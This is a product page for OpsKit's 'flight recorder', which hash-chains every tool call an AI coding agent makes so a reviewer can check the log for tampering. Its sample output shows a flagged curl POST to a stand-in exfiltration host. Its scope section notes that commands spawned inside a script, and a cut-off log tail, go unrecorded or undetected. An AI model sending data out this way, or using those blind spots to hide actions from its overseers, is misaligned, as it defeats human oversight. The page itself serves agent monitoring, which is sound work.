OpsKit
Trust and verification

Flight recorder: proving what an agent did

The only record of what an AI agent did is normally its own self-reported transcript. If a security review asks how you know it didn't do anything else, 'trust the log' and 'trust the agent' are the same answer. The flight recorder changes that answer to something you can check.

What it is

Every tool call an agent makes — every Bash command, every MCP read — is appended to a hash-chained log. Each record embeds the SHA-256 hash of the record before it. Editing, deleting, reordering, or inserting an entry after the fact breaks that chain, and opskit replay --verify recomputes it and names the exact record where it broke. That turns an audit log from "trust the file" into "verify the arithmetic."

It's on by default

No setup beyond the normal install. Every investigation records automatically the moment you run npx github:runopskit/opskit init.

Reviewing a session

zsh
$ npx github:runopskit/opskit replay
# lists recorded sessions, most recent first

$ npx github:runopskit/opskit replay <session-id>
# renders the timeline

$ npx github:runopskit/opskit replay <session-id> --verify   # recomputes the hash chain

What a clean verification looks like

expected output
Flight recorder session a3f9e2d1
5 records — 3 bash, 2 mcp

    1     +0ms  bash  kubectl get pods -n payments
    2   +171ms  mcp   k8s_get_pod_health namespace=payments pod=payment-service-7d9f
    3   +336ms  bash  kubectl logs payment-service-7d9f --previous --tail=100

Chain verification
  ✓ 5 records, chain intact — no record altered, removed, or reordered

Unexpected network destinations are called out inline

Network destinations are extracted from each command and checked against the set an investigation legitimately reaches — the Kubernetes API, git remotes, package registries, cloud control planes. Anything else shows up in the timeline next to the exact command that caused it:

expected output
    4   +507ms  bash  curl -X POST https://exfil.attacker-domain.net/collect
      ⚠ egress exfil.attacker-domain.net — not an expected investigation destination

Proving tampering is caught, not just claimed

Try it yourself — copy a recorded session's events.jsonl, edit one line to change a command or delete a record, then run replay --verify against the edited copy. It will fail and name the exact sequence number that no longer matches, whether the change was a deletion, an in-place edit, or a reordering.

Scope — read this before relying on it for compliance

This records what the agent's tool layer did — every Bash command and every MCP call Claude Code routes through its hook interface. It does not observe syscalls. A process spawned by an allowed command can open sockets or read files that never appear here — bash script.sh is one record; whatever the script then does internally is invisible to this layer. Detecting that would need kernel-level capture (eBPF), which is a separate layer this doesn't include yet.

There's also a directional limit worth stating plainly: a truncated log — the tail cut off — still verifies as internally consistent, because each record only proves its relationship to the one before it. The guarantee is "nothing in this log was altered," not "nothing was ever cut from the end." If end-of-session completeness has to be provable, anchor the final hash somewhere external to the log itself.

So: this proves what the agent asked the tool layer to do, and proves that record hasn't been altered. It's the honest scope of what a tool-layer recorder can promise — stated that way to your own security review rather than oversold.

Ready to point it at your cluster?

Get OpsKit — $19